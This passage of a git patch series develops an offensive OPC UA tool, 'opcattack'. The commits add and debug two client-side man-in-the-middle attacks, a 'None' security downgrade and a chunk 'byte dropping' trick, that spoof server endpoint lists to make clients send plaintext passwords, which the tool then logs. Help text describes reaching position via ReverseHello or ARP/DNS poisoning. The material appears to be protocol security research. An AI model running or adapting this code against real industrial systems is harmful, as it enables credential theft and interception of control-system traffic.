server_epbytes = ArrayField(endpointDescription).to_bytes(server_eps) + dropranges = ranges_to_drop(server_epbytes) + + if not any(ep.securityMode == MessageSecurityMode.SIGN): + log('Warning: server does not advertise Sign security mode. Attack will probably not work, but trying anyway.') + + # Compute new endpoint list (and double-check if calculation was correct). + spoofed_epbytes = b'' + prev_end = 0 + for start, end in dropranges: + spoofed_epbytes += server_epbytes[prev_end:start] + prev_end = end + spoofed_epbytes += server_epbytes[prev_end:] + spoofed_ep = ArrayField(endpointDescription).from_bytes(spoofed_epbytes)[0] + + assert(spoofed_ep.securityMode == MessageSecurityMode.SIGN and spoofed_ep.userIdentityTokens[0].tokenType == UserTokenType.USERNAME) + log_success('Succesfully transformed token list into spoofed (password revealing) variant.') + + # Use server associated with this endpoint as upstream. + proto, serverhost, serverport = parse_endpoint_url(spoofed_ep.endpointUrl) + assert proto == TransportProtocol.TCP_BINARY + log(f'Using {serverhost}:{serverport} as upstream server.') + + # Check if server allows tiny chunks. + spoofed_hello = HelloMessage( + version=0, + receiveBufferSize=2**16, + sendBufferSize=2**16, + maxMessageSize=1, + maxChunkCount=2**16-1, + endpointUrl=spoofed_ep.endpointUrl, + ) + with create_connection((serverhost, serverport)) as serversock: + opc_exchange(serversock, spoofed_hello, AckMessage()) + log_success(f'Server appears to accept maxMessageSize of 1 and maxChunkCount of {spoofed_hello.maxChunkCount}') + + + # MitM loop. + while True: + clientsock = yield + with create_connection((serverhost, serverport)) as serversock: + log('Connected to both client and server.') + + read_client_msg(clientsock, HelloMessage) + log('Got Hello from client. Sending spoofed version to server.') + write_client_msg(opc_exchange(serversock, spoofed_hello, AckMessage())) + + # Forward OPN. Response may be chunked. + client_opn = read_client_msg(clientsock, OpenSecureChannelMessage) + cleartext = client_opn.securityPolicyUri == SecurityPolicy.NONE + log(f'Forwarding {"cleartext" if cleartext else "encrypted"} OpenSecureChannelRequest') + chunks = list(chunkable_opc_exchange(serversock, client_opn)) + for i, chunk in enumerate(chunks): + write_client_msg(clientsock, chunk, i == len(chunks) - 1) + + # Keep processing conversation messages until the attack is finished or the client closes the channel. + # Usually the latter will happen once the client has received the (spoofed) endpoint list, which it + # will then use for a second connection. + try: + while True: + client_convo = read_client_msg(clientsock, ConversationMessage) + + # Check client message. + try: + reqbytes, _ = encodedConversation.from_bytes(client_convo.encodedPart) + except DecodeError as err: + if not cleartext: + raise AttackNotPossible('Could not decode conversation. It is probably using SignAndEncrypt mode.') + else: + raise err + + if activateSessionRequest.check_type(reqbytes): + # Got what we want. + asr, _ = activateSessionRequest.from_bytes(reqbytes) + log_success('Received unencrypted ActivateSessionRequest') + log_success(f'Username: {asr.userIdentityToken.userName}') + if asr.userIdentityToken.encryptionAlgorithm: + log('However, password is still encrypted.') + else: + pwd = asr.userIdentityToken.password.decode(errors="replace") + log_success(f'Password: {pwd}') + + # Done. + return + + else: + log('Forwarding ConversationMessage to server...') + server_chunks = list(chunkable_opc_exchange(serversock, client_convo)) + log(f'Got {len(server_chunks)} chunks back.') + + # Glue chunks back together, dropping any signatures. + resp_parts = list(encodedConversation.from_bytes(c.encodedPart)[0].requestOrResponse for c in server_chunks) + respbytes = b''.join(resp_parts) + + + # Handling depends on response type. + if getEndpointsResponse.check_type(respbytes): + resp, _ = getEndpointsResponse.from_bytes(respbytes) + log('Endpoints request: replacing result with spoofed endpoint.') + write_client_msg(clientsock, ConversationMessage( + secureChannelId=server_chunks[0].secureChannelId, + tokenId=server_chunks[0].tokenId, + encodedPart=encodedConversation.from_bytes(server_chunks[0].encodedPart)._replace( + requestOrResponse=resp._replace(endpoints=[spoofed_ep]) + ) + )) + elif createSessionResponse.check_type(respbytes): + if not all(len(part) == 1 for part in resp_parts): + raise AttackNotPossible('Got CreateSessionResponse, but not all chunks are one byte long.') + + # Find the binary offset and length of the endpoint list. + todo = respbytes + for fieldName, fieldType in createSessionResponse.fields: + if fieldName == 'serverEndpoints': + eplist_start = len(todo) + _, todo = fieldType.from_bytes(todo) + eplist_end = len(todo) + break + else: + _, todo = fieldType.from_bytes(todo) + + # Run the range dropping algorithm again. It may fail if more fields are ommitted. + dropranges = ranges_to_drop(respbytes[eplist_start:eplist_end]) + log_success('Managed to drop ranges from CreateSessionResponse as well.') + + # Adjust for full response body. + dropranges = [(start + eplist_start, end + eplist_start) for start, end in dropranges] + + # Drop associated chunks. + keep_chunks = [] + lastend = 0 + for start, end in dropranges: + keep_chunks += server_chunks[lastend:start] + lastend = end + keep_chunks += server_chunks[lastend:] + + # Send these to the client. + log('Sending selected subset of chunks to client...') + for chunk in keep_chunks[:-1]: + write_client_msg(clientsock, chunk, False) + write_client_msg(clientsock, keep_chunks[-1], True) + + else: + log('Unknown message type. Forwarding it anyway.') + for chunk in server_chunks[:-1]: + write_client_msg(clientsock, chunk, False) + write_client_msg(clientsock, server_chunks[-1], True) + + except ClientClosedChannel: + pass + \ No newline at end of file diff --git a/message_fields.py b/message_fields.py index 33e8a16..af1f181 100644 --- a/message_fields.py +++ b/message_fields.py @@ -360,9 +360,14 @@ def from_bytes(self, bytestr): data[fname] = bodyval return self._Body(**data), todo + # Expose type name and field info. @property def Type(self): return self._Body + + @property + def fields(self): + return self._bodyfields class EncodableObjectField(ObjectField): def __init__(self, name : str, identifier : int, bodyfields : list[tuple[str, FieldType]]): @@ -390,6 +395,9 @@ def from_bytes(self, bytestr): decodecheck(objectId == self._id, f'EncodableObjectField identifier incorrect. Expected: {self._id}; got: {objectId}') result, tail = super().from_bytes(bytestr) return result, tail + + def check_type(self, bytestr) -> bool: + return NodeIdField().from_bytes(bytestr)[0].identifier == self._id class EnumField(TransformedFieldType[int, IntEnum]): def __init__(self, EnumType : Type[IntEnum]): diff --git a/messages.py b/messages.py index 419cbd3..12970c0 100644 --- a/messages.py +++ b/messages.py @@ -5,6 +5,10 @@ from typing import * from dataclasses import dataclass +# Exception signifying rgar a CloseSecureChannelRequest was received when expecting something else. +class ClientClosedChannel(Exception): + pass + # Main "outer" messages. class OpcMessage(ABC): @@ -22,8 +26,9 @@ def messagetype() -> str: def fields() -> list[tuple[str, FieldType]]: ... - def to_bytes(self) -> bytes: + def to_bytes(self, final_chunk : bool = True) -> bytes: mtype = self.messagetype.encode() + chunkmarker = b'F' if final_chunk else b'C' assert len(mtype) == 3 body = b'' @@ -31,7 +36,7 @@ def to_bytes(self) -> bytes: value = getattr(self, name) body += ftype.to_bytes(value) - return mtype + b'F' + struct.pack(' bool: # Note: when this throws a ServerError the message is still consumed in its entirety from the reader. @@ -39,7 +44,7 @@ def from_bytes(self, reader : BinaryIO, allow_chunking : bool = False) -> bool: mtype = reader.read(3) decodecheck(len(mtype) == 3, 'Connection unexpectedly terminated.') - decodecheck(mtype == self.messagetype.encode() or mtype == b'ERR', 'Unexpected message type') + decodecheck(mtype == self.messagetype.encode() or mtype in [b'ERR',b'CLO'], 'Unexpected message type') ctype = reader.read(1) @@ -50,10 +55,15 @@ def from_bytes(self, reader : BinaryIO, allow_chunking : bool = False) -> bool: body = reader.read(bodylen) if mtype == b'ERR' and self.messagetype != 'ERR': - # Server error. Parse for exception. + # Unexpected server error. Parse for exception. errorcode, tail = IntField().from_bytes(body) reason, _ = StringField().from_bytes(tail) raise ServerError(errorcode, reason) + + if mtype == b'CLO' and self.messagetype != 'CLO': + # Unexpected client channel closure. + raise ClientClosedChannel() + for name, ftype in self.fields: value, body = ftype.from_bytes(body) From 6dc923543f53811eb78548c955e3348aa830530c Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 29 Apr 2024 13:38:44 +0200 Subject: [PATCH 51/70] Added MitM attacks to CLI interface. --- attacks.py | 34 ++++++++++++--------------- opcattack.py | 66 ++++++++++++++++++++++++++++++++++++++++++++++------ 2 files changed, 74 insertions(+), 26 deletions(-) diff --git a/attacks.py b/attacks.py index 0429741..a5b5285 100644 --- a/attacks.py +++ b/attacks.py @@ -1556,15 +1556,20 @@ def write_client_msg(sock : socket, msg : OpcMessage, final_chunk : bool=True): # A client attack is a coroutine that receives client connection sockets. ClientAttack = Generator[None, socket, None] -# Sets up and executes an attack against an OPC client instead of a server. +# Sets up and executes an attack against (taking server endpoints as a parameter) an OPC client instead of a server. # Also capable of forcing a client connection via ReverseHello, in which case the listen address is used as an # endpointUri in the Reversehello message. def client_attack( - attacker : ClientAttack, + attacker_factory : Callable[[List[endpointDescription.Type]], ClientAttack], + server_url : str, listen_host : str, listen_port : int, revhello_addr : Optional[Tuple[str, int]] = None, persist : bool = False ): + # First try connecting to the server. + server_eps = get_endpoints(server_url) + log(f'Got {len(server_eps)} server endpoints from {server_url}.') + if revhello_addr is None: # Start listening for client connection. listener = create_server((listen_host, listen_port)) @@ -1587,6 +1592,7 @@ def clientsocker(): return clientsock firstround = True + attacker = attacker_factory(server_eps) while firstround or persist: try: while True: @@ -1600,11 +1606,7 @@ def clientsocker(): # None downgrade password stealer. -def nonegrade_mitm(server_url : str) -> ClientAttack: - # First try connecting to the server. - server_eps = get_endpoints(server_url) - log(f'Got {len(server_eps)} server endpoints from {server_url}.') - +def nonegrade_mitm(server_eps : List[endpointDescription.Type]) -> ClientAttack: # Make a spoofed endpoint with None security that only accepts passwords. # Base this on an existing endpoints, preferably those similar to what we want. spoofed_ep = max(server_eps, key=lambda ep: ep.securityPolicyUri == SecurityPolicy.NONE) @@ -1745,7 +1747,7 @@ def responder(reqmsg, resptype, **data): # password. # If tcp_resets is True intentional connection interruptions will be introduced to make a client accept gaps even when # it is strictly enforcing https://reference.opcfoundation.org/Core/Part6/v104/docs/6.7.2.4 -def chunkdrop_mitm(server_url : str, tcp_resets : bool) -> ClientAttack: +def chunkdrop_mitm(server_eps : List[endpointDescription.Type], tcp_resets : bool=False) -> ClientAttack: if tcp_resets: raise Exception('tcp_resets feature not yet implemented') @@ -1870,19 +1872,13 @@ def checkfield(fieldType, predicate=lambda _: True): drop_until_field('transportProfileUri') while not checkfield(StringField(), lambda: pu: pu.endswith('uatcp-uasc-uabinary')): drop_until_field('transportProfileUri') - - # Any security level will do. - checkfield('securityLevel') - # Finally, drop all remaining bytes. - dropbytes(len(ep_bytes) - cursor) + # Finally, drop all but the last byte, the securityLevel of the last endpoint in the list. + dropbytes(len(ep_bytes) - cursor - 1) return result - # Grab server endpoints list. - server_eps = get_endpoints(server_url) - log(f'Got {len(server_eps)} server endpoints from {server_url}. Testing if attack is applicable.') - # Test if rangedropping works on this endpoint list. + log(f'Testing if attack is applicable.') server_epbytes = ArrayField(endpointDescription).to_bytes(server_eps) dropranges = ranges_to_drop(server_epbytes) @@ -1997,9 +1993,9 @@ def checkfield(fieldType, predicate=lambda _: True): todo = respbytes for fieldName, fieldType in createSessionResponse.fields: if fieldName == 'serverEndpoints': - eplist_start = len(todo) + eplist_start = len(respbytes) - len(todo) _, todo = fieldType.from_bytes(todo) - eplist_end = len(todo) + eplist_end = len(respbytes) - len(todo) break else: _, todo = fieldType.from_bytes(todo) diff --git a/opcattack.py b/opcattack.py index 17f09f8..f5fde5b 100755 --- a/opcattack.py +++ b/opcattack.py @@ -50,6 +50,22 @@ def add_padding_oracle_args(aparser : ArgumentParser): help='if set, will try a timing-based padding oracle with this threshold parameter (fractional; in seconds); use check -t to help determine this') aparser.add_argument('-C', '--timing-attack-expansion', type=int, metavar='COUNT', default=50, help='when used alongside -T this determines the ciphertext expansion parameter; default: 50') + +def add_mitm_args(aparser : ArgumentParser): + """Common arguments for MitM attacks.""" + def address_arg(arg): + [host, port] = args.split(':') + return host or '0.0.0.0', int(port) + + aparser.add_argument('-r', '--reverse-hello', type=address_arg, metavar='client-host:port', + help='if set, will sent a ReverseHello to connect to the client') + aparser.add_argument('-p', '--persists', action='store_true', + help='keep listening for incoming connections after starting an attack') + aparser.add_argument('[listen-address]:port', dest='laddress', type=address_arg, + help='address to bind to to listen for incoming connections; when -r is set this is instead used as an endpointUrl in the ReverseHello message') + aparser.add_argument('server-url', type=str, + help='OPC URL of a (discovery) server whose certificate the client is expected to trust') + class CheckAttack(Attack): subcommand = 'check' @@ -299,18 +315,53 @@ def execute(self, args): }[args.padding_oracle_type] forge_signature_attack(args.url, unhexlify(args.payload), opn, password, SecurityPolicy.BASIC128RSA15 if args.hash_function == 'sha1' else SecurityPolicy.BASIC256, args.timing_attack_threshold, args.timing_attack_expansion) -class MitMAttack(Attack): - subcommand = 'mitm' - short_help = 'active MitM attack on an intercepted client-server connection (TODO)' +class DowngradeMitmAttack(Attack): + subcommand = 'client-downgrade' + short_help = 'password stealing downgrade attack against a client' + long_help = """ +This attack can be carried out when the tool can act as a server towards an OPC UA client. This is possible when +when the client either supports the ReverseHello mechanism, or when a network MitM position can be obtained (via. e.g. +ARP or DNS poisoning). + +The tool simply pretends to be a server that requires a password but only supports the None policy, attempting to get +the client to supply an unencrypted password. + +The server-url is used to fetch a certificate that the client is expected to trust. No further interactions are done +with the server. + +Currently only password stealing is implemented, but the same technique could be used to extract other authentication +material such as tokens or signed nonces. +""".strip() + + def add_arguments(self, aparser): + add_mitm_args(aparser) + + def execute(self, args): + client_attack(nonegrade_mitm, args.server_url, *args.laddress, args.reverse_hello, args.persist) + +class ByteDropMitmAttack(Attack): + subcommand = 'client-bytedrop' + short_help = 'password stealing downgrade attack against a client, using the byte dropping attack' long_help = """ -TODO +Demonstrates the byte dropping MitM attack by modifying a signed server endpoint list such that is appears to request +the client to supply an unencrypted password. + +Takes advantage of the fact that HelloMessage parameters are unauthenticated to force the server to send signed +messages with a payload length of one byte. By dropping messages arbitrary byte ranges (except for the final byte) can +be removed from the payload. + +The effect is this particular attack is the same as client-downgrade, except that the client does not need to accept +the None security policy for connection security. + +Requires that the server has an endpoint list that includes a Sign endpoint, and happens to have the right structure +to allow the right transformation via byterange dropping. """.strip() def add_arguments(self, aparser): - pass + add_mitm_args(aparser) def execute(self, args): - raise Exception('TODO: implement') + client_attack(chunkdrop_mitm, args.server_url, *args.laddress, args.reverse_hello, args.persist) ENABLED_ATTACKS = [ CheckAttack(), @@ -320,7 +371,8 @@ def execute(self, args): NoAuthAttack(), DecryptAttack(), SigForgeAttack(), - MitMAttack(), + DowngradeMitmAttack(), + ByteDropMitmAttack(), ] From 4587d9aef76d4f99794f2539ac3394284b1c1d27 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 29 Apr 2024 14:38:14 +0200 Subject: [PATCH 52/70] Got None downgrade working succesfully. --- attacks.py | 40 +++++++++++++++++++++------------------- opcattack.py | 10 +++++----- 2 files changed, 26 insertions(+), 24 deletions(-) diff --git a/attacks.py b/attacks.py index a5b5285..257c580 100644 --- a/attacks.py +++ b/attacks.py @@ -1550,7 +1550,7 @@ def read_client_msg(sock : socket, msg_type : Type[OpcMessage]) -> OpcMessage: # Same for writing. def write_client_msg(sock : socket, msg : OpcMessage, final_chunk : bool=True): with sock.makefile('wb') as sockio: - msg.to_bytes(sockio, final_chunk) + sockio.write(msg.to_bytes(final_chunk)) sockio.flush() # A client attack is a coroutine that receives client connection sockets. @@ -1576,7 +1576,7 @@ def client_attack( log(f'Started listening for an incoming client connections on {listen_host}:{listen_port}.') def clientsocker(): clientsock, peeraddr = listener.accept() - log_success(f'Received a connection from {":".join(peeraddr)}.') + log_success(f'Received a connection from {peeraddr[0]}:{peeraddr[1]}.') return clientsock else: server_uri = server_eps[0].server.applicationUri @@ -1593,6 +1593,7 @@ def clientsocker(): firstround = True attacker = attacker_factory(server_eps) + attacker.send(None) while firstround or persist: try: while True: @@ -1601,7 +1602,7 @@ def clientsocker(): firstround = False if revhello_addr is None: - listener.shutdown(socket.SHUT_RDWR) + listener.shutdown(SHUT_RDWR) listener.close() @@ -1610,7 +1611,7 @@ def nonegrade_mitm(server_eps : List[endpointDescription.Type]) -> ClientAttack: # Make a spoofed endpoint with None security that only accepts passwords. # Base this on an existing endpoints, preferably those similar to what we want. spoofed_ep = max(server_eps, key=lambda ep: ep.securityPolicyUri == SecurityPolicy.NONE) - spoofed_policy = max(spoofed_ep.userIdentityTokens, default=None, lambda p: p.tokenType == UserTokenType.USERNAME) + spoofed_policy = max(spoofed_ep.userIdentityTokens, default=None, key=lambda p: p.tokenType == UserTokenType.USERNAME) if not spoofed_policy or spoofed_policy.tokenType != UserTokenType.USERNAME: spoofed_policy = userTokenPolicy.create( policyId='1', @@ -1623,6 +1624,7 @@ def nonegrade_mitm(server_eps : List[endpointDescription.Type]) -> ClientAttack: spoofed_policy = spoofed_policy._replace(securityPolicyUri=SecurityPolicy.NONE) spoofed_ep = spoofed_ep._replace( securityPolicyUri=SecurityPolicy.NONE, + securityMode=MessageSecurityMode.NONE, userIdentityTokens=[spoofed_policy] ) @@ -1656,15 +1658,15 @@ def simple_respheader(reqheader): # Send an OPN response initiating an unencrypted channel. opnconv, _ = encodedConversation.from_bytes(opn.encodedPart) - opnreq, _ = openSecureChannelRequest.from_bytes(opnconv) + opnreq, _ = openSecureChannelRequest.from_bytes(opnconv.requestOrResponse) token = channelSecurityToken.create( - channelId=1, + channelId=opn.secureChannelId + 1, tokenId=1, createdAt=datetime.now(), revisedLifetime=opnreq.requestedLifetime, ) write_client_msg(clientsock, OpenSecureChannelMessage( - secureChannelId=opn.secureChannelId + 1, + secureChannelId=token.channelId, securityPolicyUri=SecurityPolicy.NONE, senderCertificate=None, receiverCertificateThumbprint=None, @@ -1682,15 +1684,15 @@ def simple_respheader(reqheader): # Response message helper. def responder(reqmsg, resptype, **data): - convo, _ = encodedConversation.from_bytes(reqmsg.encodedPart) + reqHeader, _ = requestHeader.from_bytes(NodeIdField().from_bytes(reqmsg.requestOrResponse)[1]) write_client_msg(clientsock, ConversationMessage( - securityChannelId=token.channelId, + secureChannelId=token.channelId, tokenId=token.tokenId, encodedPart=encodedConversation.to_bytes(encodedConversation.create( - sequenceNumber=req_convo.sequenceNumber, - requestId=req_convo.requestId, + sequenceNumber=reqmsg.sequenceNumber, + requestId=reqmsg.requestId, requestOrResponse=resptype.to_bytes(resptype.create( - responseHeader=simple_respheader(reqmsg.requestHeader), + responseHeader=simple_respheader(reqHeader), **data )), )) @@ -1707,13 +1709,13 @@ def responder(reqmsg, resptype, **data): if ep_req: # Respond with the spoofed endpoint. log('Received GetEndpointsRequest. Responding with spoofed (unencrypted password demanding) endpoint.') - responder(convomsg1, getEndpointsResponse, endpoints=[spoofed_ep]) + responder(convo1, getEndpointsResponse, endpoints=[spoofed_ep]) else: csr, _ = createSessionRequest.from_bytes(convo1.requestOrResponse) log('Received CreateSessionRequest.') - responder(convomsg1, createSessionResponse, + responder(convo1, createSessionResponse, sessionId=NodeId(9,1234), - authToken=NodeId(9,1235), + authenticationToken=NodeId(9,1235), revisedSessionTimeout=csr.requestedSessionTimeout, serverNonce=None, serverCertificate=spoofed_ep.serverCertificate, @@ -1725,7 +1727,7 @@ def responder(reqmsg, resptype, **data): # Finally consume ActivateSessionRequest. convomsg2 = read_client_msg(clientsock, ConversationMessage) - convo2, _ = encodedConversation.from_bytes(convomsg1.encodedPart) + convo2, _ = encodedConversation.from_bytes(convomsg2.encodedPart) asr, _ = activateSessionRequest.from_bytes(convo2.requestOrResponse) log_success('Received unencrypted ActivateSessionResponse from client.') if asr.userIdentityToken.policyId != spoofed_policy.policyId: @@ -1739,7 +1741,7 @@ def responder(reqmsg, resptype, **data): log_success(f'Password: {pwd}') # Kill this connection and end the attack round. - clientsock.shutdown(socket.SHUT_RDWR) + clientsock.shutdown(SHUT_RDWR) clientsock.close() return @@ -1805,7 +1807,7 @@ def drop_until_field(fieldname): nonlocal cursor # Find starting offset of endpoint the cursor is currently in. - rcursor = max(offset for offset in offsets if offset <= cursor, default=offsets[0]) + rcursor = max((offset for offset in offsets if offset <= cursor), default=offsets[0]) # Keep consuming endpoint description until either cursor or field is reached. # Run through the description at most twice. @@ -1870,7 +1872,7 @@ def checkfield(fieldType, predicate=lambda _: True): # Finish with a TCP transport profile. drop_until_field('transportProfileUri') - while not checkfield(StringField(), lambda: pu: pu.endswith('uatcp-uasc-uabinary')): + while not checkfield(StringField(), lambda pu: pu.endswith('uatcp-uasc-uabinary')): drop_until_field('transportProfileUri') # Finally, drop all but the last byte, the securityLevel of the last endpoint in the list. diff --git a/opcattack.py b/opcattack.py index f5fde5b..7d7dfce 100755 --- a/opcattack.py +++ b/opcattack.py @@ -54,14 +54,14 @@ def add_padding_oracle_args(aparser : ArgumentParser): def add_mitm_args(aparser : ArgumentParser): """Common arguments for MitM attacks.""" def address_arg(arg): - [host, port] = args.split(':') + [host, port] = arg.split(':') return host or '0.0.0.0', int(port) aparser.add_argument('-r', '--reverse-hello', type=address_arg, metavar='client-host:port', help='if set, will sent a ReverseHello to connect to the client') - aparser.add_argument('-p', '--persists', action='store_true', + aparser.add_argument('-p', '--persist', action='store_true', help='keep listening for incoming connections after starting an attack') - aparser.add_argument('[listen-address]:port', dest='laddress', type=address_arg, + aparser.add_argument('[listen-address]:port', type=address_arg, help='address to bind to to listen for incoming connections; when -r is set this is instead used as an endpointUrl in the ReverseHello message') aparser.add_argument('server-url', type=str, help='OPC URL of a (discovery) server whose certificate the client is expected to trust') @@ -337,11 +337,11 @@ def add_arguments(self, aparser): add_mitm_args(aparser) def execute(self, args): - client_attack(nonegrade_mitm, args.server_url, *args.laddress, args.reverse_hello, args.persist) + client_attack(nonegrade_mitm, getattr(args, 'server-url'), *getattr(args,'[listen-address]:port'), args.reverse_hello, args.persist) class ByteDropMitmAttack(Attack): subcommand = 'client-bytedrop' - short_help = 'password stealing downgrade attack against a client, using the byte dropping attack' + short_help = 'password stealing downgrade attack against a client, using the "byte dropping" attack' long_help = """ Demonstrates the byte dropping MitM attack by modifying a signed server endpoint list such that is appears to request the client to supply an unencrypted password. From 19eeb181d6b3e22a4e3f396b7e8658c7bc35c4ec Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 29 Apr 2024 14:48:12 +0200 Subject: [PATCH 53/70] Small bugfix. --- attacks.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/attacks.py b/attacks.py index 257c580..ba452db 100644 --- a/attacks.py +++ b/attacks.py @@ -1591,15 +1591,15 @@ def clientsocker(): )) return clientsock - firstround = True - attacker = attacker_factory(server_eps) - attacker.send(None) - while firstround or persist: + while True: + attacker = attacker_factory(server_eps) + attacker.send(None) try: while True: attacker.send(clientsocker()) except StopIteration: - firstround = False + if not persist: + break if revhello_addr is None: listener.shutdown(SHUT_RDWR) From 60217da062e19803236440ba535ca0a9216a4096 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 29 Apr 2024 15:36:20 +0200 Subject: [PATCH 54/70] First half of bytedrop attack is working now. --- attacks.py | 26 ++++++++++++++++---------- message_fields.py | 2 +- opcattack.py | 2 +- 3 files changed, 18 insertions(+), 12 deletions(-) diff --git a/attacks.py b/attacks.py index ba452db..45d06da 100644 --- a/attacks.py +++ b/attacks.py @@ -1770,6 +1770,7 @@ def ranges_to_drop(ep_bytes): # Drop a certain amount of bytes. Throws an error if end is reached. def dropbytes(count): + # print(f'dropbytes {count}') nonlocal cursor, result if count == 0: return @@ -1777,7 +1778,7 @@ def dropbytes(count): assert(count > 0) if cursor < len(ep_bytes): if result and result[-1][1] == cursor: - result[-1][1] += count + result[-1] = (result[-1][0], result[-1][1] + count) else: result += [(cursor, cursor + count)] cursor += count @@ -1792,11 +1793,12 @@ def dropbytes(count): # Keep dropping ranges until a specific desired byte range is added to the result. def drop_until_bytes(byteseq): + # print(f'drop_until_bytes {repr(byteseq)}') nonlocal cursor tomatch = byteseq while tomatch: - if ep_bytes and ep_bytes[0] == tomatch[0]: + if cursor < len(ep_bytes) and ep_bytes[cursor] == tomatch[0]: cursor += 1 tomatch = tomatch[1:] else: @@ -1804,6 +1806,7 @@ def drop_until_bytes(byteseq): # Drop bytes until the cursor is positioned in front of a specific endpoint field. def drop_until_field(fieldname): + # print(f'drop_until_field {fieldname}') nonlocal cursor # Find starting offset of endpoint the cursor is currently in. @@ -1827,10 +1830,12 @@ def drop_until_field(fieldname): # Consume a field. Keep it (and return True) if it meets the predicate. Otherwise drop it. def checkfield(fieldType, predicate=lambda _: True): + # print(f'checkfield {type(fieldType).__name__}') nonlocal cursor field, tail = fieldType.from_bytes(ep_bytes[cursor:]) fieldsize = len(ep_bytes) - cursor - len(tail) + assert(fieldsize > 0) if predicate(field): cursor += fieldsize return True @@ -1842,6 +1847,7 @@ def checkfield(fieldType, predicate=lambda _: True): drop_until_bytes(b'\x01\x00\x00\x00') # Keep general server info. + drop_until_field('endpointUrl') checkfield(StringField()) # endpointUrl checkfield(applicationDescription) # server checkfield(ByteStringField()) # serverCertificate @@ -1857,7 +1863,7 @@ def checkfield(fieldType, predicate=lambda _: True): drop_until_bytes(b'\x01\x00\x00\x00' * 2) # Set single policyId character to whatever. - dropbytes(1) + cursor += 1 # Enforce UserName token type. drop_until_bytes(EnumField(UserTokenType).to_bytes(UserTokenType.USERNAME)) @@ -1884,7 +1890,7 @@ def checkfield(fieldType, predicate=lambda _: True): server_epbytes = ArrayField(endpointDescription).to_bytes(server_eps) dropranges = ranges_to_drop(server_epbytes) - if not any(ep.securityMode == MessageSecurityMode.SIGN): + if not any(ep.securityMode == MessageSecurityMode.SIGN for ep in server_eps): log('Warning: server does not advertise Sign security mode. Attack will probably not work, but trying anyway.') # Compute new endpoint list (and double-check if calculation was correct). @@ -1894,7 +1900,7 @@ def checkfield(fieldType, predicate=lambda _: True): spoofed_epbytes += server_epbytes[prev_end:start] prev_end = end spoofed_epbytes += server_epbytes[prev_end:] - spoofed_ep = ArrayField(endpointDescription).from_bytes(spoofed_epbytes)[0] + spoofed_ep = ArrayField(endpointDescription).from_bytes(spoofed_epbytes)[0][0] assert(spoofed_ep.securityMode == MessageSecurityMode.SIGN and spoofed_ep.userIdentityTokens[0].tokenType == UserTokenType.USERNAME) log_success('Succesfully transformed token list into spoofed (password revealing) variant.') @@ -1926,7 +1932,7 @@ def checkfield(fieldType, predicate=lambda _: True): read_client_msg(clientsock, HelloMessage) log('Got Hello from client. Sending spoofed version to server.') - write_client_msg(opc_exchange(serversock, spoofed_hello, AckMessage())) + write_client_msg(clientsock, opc_exchange(serversock, spoofed_hello, AckMessage())) # Forward OPN. Response may be chunked. client_opn = read_client_msg(clientsock, OpenSecureChannelMessage) @@ -1945,7 +1951,7 @@ def checkfield(fieldType, predicate=lambda _: True): # Check client message. try: - reqbytes, _ = encodedConversation.from_bytes(client_convo.encodedPart) + reqbytes = encodedConversation.from_bytes(client_convo.encodedPart)[0].requestOrResponse except DecodeError as err: if not cleartext: raise AttackNotPossible('Could not decode conversation. It is probably using SignAndEncrypt mode.') @@ -1983,9 +1989,9 @@ def checkfield(fieldType, predicate=lambda _: True): write_client_msg(clientsock, ConversationMessage( secureChannelId=server_chunks[0].secureChannelId, tokenId=server_chunks[0].tokenId, - encodedPart=encodedConversation.from_bytes(server_chunks[0].encodedPart)._replace( - requestOrResponse=resp._replace(endpoints=[spoofed_ep]) - ) + encodedPart=encodedConversation.to_bytes(encodedConversation.from_bytes(server_chunks[0].encodedPart)[0]._replace( + requestOrResponse=getEndpointsResponse.to_bytes(resp._replace(endpoints=[spoofed_ep])) + )) )) elif createSessionResponse.check_type(respbytes): if not all(len(part) == 1 for part in resp_parts): diff --git a/message_fields.py b/message_fields.py index af1f181..f4498eb 100644 --- a/message_fields.py +++ b/message_fields.py @@ -396,7 +396,7 @@ def from_bytes(self, bytestr): result, tail = super().from_bytes(bytestr) return result, tail - def check_type(self, bytestr) -> bool: + def check_type(self, bytestr : bytes) -> bool: return NodeIdField().from_bytes(bytestr)[0].identifier == self._id class EnumField(TransformedFieldType[int, IntEnum]): diff --git a/opcattack.py b/opcattack.py index 7d7dfce..f1c283f 100755 --- a/opcattack.py +++ b/opcattack.py @@ -361,7 +361,7 @@ def add_arguments(self, aparser): add_mitm_args(aparser) def execute(self, args): - client_attack(chunkdrop_mitm, args.server_url, *args.laddress, args.reverse_hello, args.persist) + client_attack(chunkdrop_mitm, getattr(args, 'server-url'), *getattr(args,'[listen-address]:port'), args.reverse_hello, args.persist) ENABLED_ATTACKS = [ CheckAttack(), From f7e309c19e028b0159c05c71f2a357dbfbfda66b Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Mon, 29 Apr 2024 15:40:36 +0200 Subject: [PATCH 55/70] Small bytedrop test. --- attacks.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index 45d06da..05f77cc 100644 --- a/attacks.py +++ b/attacks.py @@ -1932,7 +1932,9 @@ def checkfield(fieldType, predicate=lambda _: True): read_client_msg(clientsock, HelloMessage) log('Got Hello from client. Sending spoofed version to server.') - write_client_msg(clientsock, opc_exchange(serversock, spoofed_hello, AckMessage())) + ack = opc_exchange(serversock, spoofed_hello, AckMessage()) + ack.maxMessageSize = 1 + write_client_msg(clientsock, ack) # Forward OPN. Response may be chunked. client_opn = read_client_msg(clientsock, OpenSecureChannelMessage) From 12d534856cfd735018768a0962b6ba916c872ccf Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 17 May 2024 10:21:59 +0200 Subject: [PATCH 56/70] Fixed anoymous authentication check. --- attacks.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/attacks.py b/attacks.py index 05f77cc..4ddacd7 100644 --- a/attacks.py +++ b/attacks.py @@ -1519,12 +1519,15 @@ def auth_check(url : str, skip_none : bool, demo : bool): ) log(f'CreateSessionRequest succeeded. Now trying to activate it...') + + anon_policies = [p for p in ep.userIdentityTokens if p.tokenType == UserTokenType.ANONYMOUS] + id_token = anonymousIdentityToken.create(policyId=anon_policies[0].policyId) if anon_policies else None activatereply = generic_exchange(chan, 